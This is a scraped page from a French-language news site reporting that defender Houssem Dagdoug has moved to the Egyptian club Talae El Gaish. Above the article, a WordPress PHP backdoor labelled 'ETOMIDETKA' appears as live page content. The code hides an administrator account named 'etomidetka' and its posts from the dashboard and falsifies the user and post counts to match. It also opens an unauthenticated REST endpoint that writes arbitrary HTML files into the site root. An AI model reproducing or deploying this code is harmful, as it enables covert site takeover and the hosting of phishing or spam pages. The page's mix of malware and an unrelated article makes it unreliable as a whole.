//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
[Transferts] : Dagdoug en Égypte – Tunisie-Foot – Ebene Media
Home
Actu
[Transferts] : Dagdoug en Égypte – Tunisie-Foot
Actu
[Transferts] : Dagdoug en Égypte – Tunisie-Foot
[Transferts] : Dagdoug en Égypte - Tunisie-Foot
Le défenseur tunisien Houssem Dagdoug va connaître sa première expérience à l’étranger. Libre après avoir résilié à l’amiable son contrat avec l’Espérance Sportive de Tunis, il s’est engagé pour deux saisons avec le club égyptien de Talae El Gaish. À 25 ans, Dagdoug va donc découvrir un nouveau défi dans sa carrière après un an passé à l’EST. Il avait fait ses armes au CS Sfaxien avec lequel il a remporté trois coupes de Tunisie. Il marche ainsi sur les pas de Mohamed Ali Jouini qui avait rejoint l’équipe égyptienne lors de la saison 2021-2022 en provenance du CSS. Le club du ministère de la Défense égyptien mise sur l’expérience de Houssem Dagdoug pour franchir un palier cette saison et compte bien renforcer son couloir gauche pour viser le haut du tableau, actuellement dominé par Al-Ahly et le Zamalek.
Written by
Toute l'actualité en direct. Retrouvez-nous sur les réseaux sociaux:
Abonnez-vous à Youtube: cliquez ici --
Suivez-nous sur Facebook: cliquez ici --
Suivez-nous sur Twitter: cliquez ici --
Suivez-nous sur Tik Tok: cliquez ici
Related Articles
Le 28 avril 2025, les négociations au Caire entre le Hamas et...
ByEbene Media avril 29, 2025
Donald Trump, président des États-Unis, a affirmé lors d’une interview accordée à...
ByEbene Media avril 29, 2025
Selon une étude, un incident hospitalier sur dix serait exclusivement causé par...
ByEbene Media avril 29, 2025
Alors que l’Ukraine espérait organiser un sommet européen d’envergure à Kiev le...
ByEbene Media avril 29, 2025